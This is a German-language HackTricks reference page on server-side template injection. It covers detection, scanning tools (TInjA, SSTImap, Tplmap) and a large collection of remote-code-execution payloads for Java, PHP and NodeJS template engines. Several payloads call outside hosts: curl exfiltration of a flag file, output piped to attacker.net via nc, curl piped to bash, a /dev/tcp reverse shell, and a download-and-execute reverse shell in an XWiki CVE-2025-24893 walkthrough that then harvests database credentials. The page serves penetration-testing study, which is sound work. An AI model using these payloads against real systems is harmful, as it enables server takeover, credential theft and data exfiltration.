SSTI (Server Side Template Injection)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist SSTI (Server-Side Template Injection)
Server-side template injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in eine Vorlage injizieren kann, die auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien vorkommen, einschließlich Jinja.
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen verwundbaren Codeausschnitt mit Jinja demonstriert:
output = template.render(name=request.args.get('name'))
In diesem anfälligen Code wird der name-Parameter aus der request des Benutzers direkt in das Template übergeben, indem die render-Funktion verwendet wird. Dies kann einem Angreifer potenziell erlauben, bösartigen Code in den name-Parameter einzuschleusen und so server-side template injection zu verursachen.
Beispielsweise könnte ein Angreifer eine request mit folgendem payload erstellen:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Die Nutzlast {{bad-stuff-here}} wird in den Parameter name injiziert. Diese Nutzlast kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unberechtigten Code auszuführen oder die Template-Engine zu manipulieren und so möglicherweise Kontrolle über den Server zu erlangen.
Um Server-Side Template Injection (SSTI)-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben korrekt bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung kontextabhängiger Escaping-Techniken kann helfen, das Risiko dieser Schwachstelle zu mindern.
Detection
Um Server-Side Template Injection (SSTI) zu entdecken, ist anfänglich Fuzzing des Templates ein einfacher Ansatz. Dabei wird eine Folge spezieller Zeichen (${{<%[%'"}}%\) in das Template injiziert und die Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu dieser speziellen Nutzlast analysiert. Anzeichen für eine Schwachstelle sind:
- Geworfene Fehler, die die Schwachstelle und möglicherweise die Template-Engine offenbaren.
- Fehlende Reflection der Nutzlast oder Teile davon, was darauf hindeutet, dass der Server sie anders verarbeitet als normale Daten.
- Plaintext-Kontext: Vom XSS unterscheiden, indem geprüft wird, ob der Server Template-Ausdrücke auswertet (z. B.
{{7*7}},${7*7}). - Code-Kontext: Bestätige die Schwachstelle, indem Eingabeparameter verändert werden. Zum Beispiel ändere
greetinginhttp://vulnerable-website.com/?greeting=data.username, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, z. B. wenngreeting=data.username}}helloden Benutzernamen zurückgibt.
Identification Phase
Die Identifikation der Template-Engine erfolgt durch Analyse von Fehlermeldungen oder durch manuelles Testen verschiedener sprachspezifischer Nutzlasten. Häufige Payloads, die Fehler verursachen, sind ${7/0}, {{7/0}} und <%= 7/0 %>. Die Beobachtung der Serverantwort auf mathematische Operationen hilft, die spezifische Template-Engine einzugrenzen.
Identification by payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
Tools
TInjA
ein effizienter SSTI + CSTI-Scanner, der neuartige polyglots nutzt
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
eine interaktive Tabelle, die die effizientesten template injection polyglots sowie die erwarteten Antworten der 44 wichtigsten template engines enthält.
Exploits
Allgemein
In dieser wordlist findest du variables defined, die in den Umgebungen einiger der unten genannten engines definiert sind:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Die Umgebungsvariablen des Systems abrufen
${T(java.lang.System).getenv()}
Java - /etc/passwd auslesen
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Du kannst deine payloads unter https://try.freemarker.apache.org ausprobieren.
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ funktioniert nur mit Freemarker-Versionen unter 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Weitere Informationen
- Im FreeMarker-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Weitere Informationen
- In Velocity section of https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
In Thymeleaf ist ein üblicher Test für SSTI-Schwachstellen der Ausdruck ${7*7}, der auch bei dieser Template-Engine funktioniert. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf verlangt, dass diese Ausdrücke in bestimmten Attributen platziert werden. Allerdings wird Expression-Inlining für andere Template-Positionen unterstützt, mit einer Syntax wie [[...]] oder [(...)]. Daher könnte ein einfacher SSTI-Test-Payload so aussehen: [[${7*7}]].
Die Wahrscheinlichkeit, dass dieser Payload funktioniert, ist jedoch generell gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver implementieren, um Templates aus Strings zur Laufzeit zu erzeugen, was unüblich ist.
Thymeleaf bietet außerdem Expression-Preprocessing, wobei Ausdrücke innerhalb doppelter Unterstriche (__...__) vorverarbeitet werden. Dieses Feature kann beim Aufbau von Ausdrücken genutzt werden, wie in der Thymeleaf-Dokumentation gezeigt:
#{selection.__${sel.code}__}
Beispiel für eine Schwachstelle in Thymeleaf
Betrachten Sie den folgenden Codeausschnitt, der für eine Ausnutzung anfällig sein könnte:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Dies deutet darauf hin, dass die Template-Engine diese Eingaben unsachgemäß verarbeitet und dies zu remote code execution führen könnte, die auf URLs wie folgt zugreift:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Weitere Informationen
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Filter umgehen
Mehrere variable Ausdrücke können verwendet werden, wenn ${...} nicht funktioniert, versuche #{...}, *{...}, @{...} oder ~{...}.
- Lies
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Benutzerdefiniertes Skript zur Payload-Generierung
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Weitere Informationen
Spring View-Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Ältere Version von Pebble ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Neue Version von Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava ist ein Open-Source-Projekt, entwickelt von Hubspot, verfügbar unter https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Behoben durch https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Weitere Informationen
Hubspot - HuBL (Java)
{% %}Anweisungs-Trennzeichen{{ }}Ausdrucks-Trennzeichen{# #}Kommentar-Trennzeichen{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Die Suche nach “com.hubspot.content.hubl.context.TemplateContextRequest” ergab das Jinjava project on Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Weitere Informationen
Expression Language - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) ist ein grundlegendes Feature, das die Interaktion zwischen der Präsentationsschicht (z. B. Webseiten) und der Anwendungslogik (z. B. managed beans) in JavaEE erleichtert. Es wird in vielen JavaEE-Technologien intensiv genutzt, um diese Kommunikation zu vereinfachen. Zu den wichtigsten JavaEE-Technologien, die EL verwenden, gehören:
- JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und Aktionen zu binden.
- JavaServer Pages (JSP): EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, wodurch es einfacher wird, Seitenelemente mit den Anwendungsdaten zu verbinden.
- Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Web-Schicht und managed beans zu ermöglichen und so eine kohärentere Anwendungsstruktur zu gewährleisten.
Siehe die folgende Seite, um mehr über die exploitation of EL interpreters zu erfahren:
Groovy (Java)
Die folgenden Security Manager-Bypässe stammen aus diesem writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) rendert nicht authentifizierte RSS-Such-Feeds über das Main.SolrSearch-Macro. Der Handler nimmt den Query-Parameter text, umschließt ihn in Wiki-Syntax und evaluiert Makros; das Injizieren von }}} gefolgt von {{groovy}} führt beliebigen Groovy-Code auf der JVM aus.
- Fingerprint & scope – Wenn XWiki hinter host-basierter Weiterleitung als Reverse-Proxy läuft, fuzz die
Host-Header (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), um den Wiki-vhost zu entdecken, dann rufe/xwiki/bin/view/Main/auf und lies die Fußzeile (XWiki Debian 15.10.8), um die verwundbare Version zu verifizieren. - Trigger SSTI – Request
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Das RSS-Item-<title>enthält die Groovy-Ausgabe. Immer alle Zeichen URL-encoden, damit Leerzeichen als%20erhalten bleiben; das Ersetzen durch+verursacht bei XWiki einen HTTP 500. - Run OS commands – Ersetze den Groovy-Body durch
{{groovy}}println("id".execute().text){{/groovy}}.String.execute()startet den Befehl direkt mitexecve(), daher werden Shell-Metazeichen (|,>,&) nicht interpretiert. Verwende stattdessen ein Download-and-execute-Muster:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(das Script enthält die reverse shell-Logik).
- Post exploitation – XWiki speichert Datenbank-Credentials in
/etc/xwiki/hibernate.cfg.xml; leakinghibernate.connection.passwordliefert echte System-Passwörter, die über SSH wiederverwendet werden können. Falls die Service-UnitNoNewPrivileges=truesetzt, erhalten Tools wie/bin/suselbst mit gültigen Passwörtern keine zusätzlichen Rechte, also per SSH pivoten statt sich auf lokale SUID-Binaries zu verlassen.
Der gleiche payload funktioniert auf /xwiki/bin/get/Main/SolrSearch, und die Groovy stdout ist immer im RSS-<title> eingebettet, sodass sich die Befehls-Enumeration leicht skripten lässt.
Other Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Weitere Informationen
- Im Smarty-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Vorlagenformat
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Weitere Informationen
- Im Abschnitt Twig und Twig (Sandboxed) auf https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates ist eine Templating-Engine, die in PHP beheimatet ist und sich an Twig orientiert. Im Gegensatz zu Twig, das eine neue Syntax einführt, verwendet Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Seitenvorlage:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Layout-Vorlage:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Weitere Informationen
PHPlib und HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ist dasselbe wie PHPlib, wurde aber auf Pear portiert.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Weitere Informationen
Andere PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Mehr Informationen unter https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Mehr Informationen
- Im Jade-Abschnitt von https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate eine nicht kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu gliedern
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Weitere Informationen
Handlebars (NodeJS)
Path Traversal (mehr Infos here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Fehler
- ${7*7} = ${7*7}
- Nichts
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Weitere Informationen
JsRender (NodeJS)
| Vorlage | Beschreibung |
|---|---|
| Auswerten und Ausgabe rendern | |
| Auswerten und HTML-kodierte Ausgabe rendern | |
| Kommentar | |
| und | Code erlauben (standardmäßig deaktiviert) |
- = 49
Client-seitig
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Serverseitig
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Weitere Informationen
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Beispiel für serverseitiges Rendering
var pugjs = require("pug")
home = pugjs.render(injected_page)
Weitere Informationen
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Keine Ausgabe
- #{7*7} = #{7*7}
- {{console.log(1)}} = Fehler
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Weitere Informationen
NodeJS-Ausdrucksandboxes (vm2 / isolated-vm)
Einige Workflow-Builder werten benutzergesteuerte Ausdrücke innerhalb von Node-Sandboxes (vm2, isolated-vm) aus, dennoch exponiert der Ausdruckskontext weiterhin this.process.mainModule.require. Damit kann ein Angreifer child_process laden und OS-Befehle ausführen, selbst wenn dedizierte “Execute Command”-Nodes deaktiviert sind:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Weitere NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
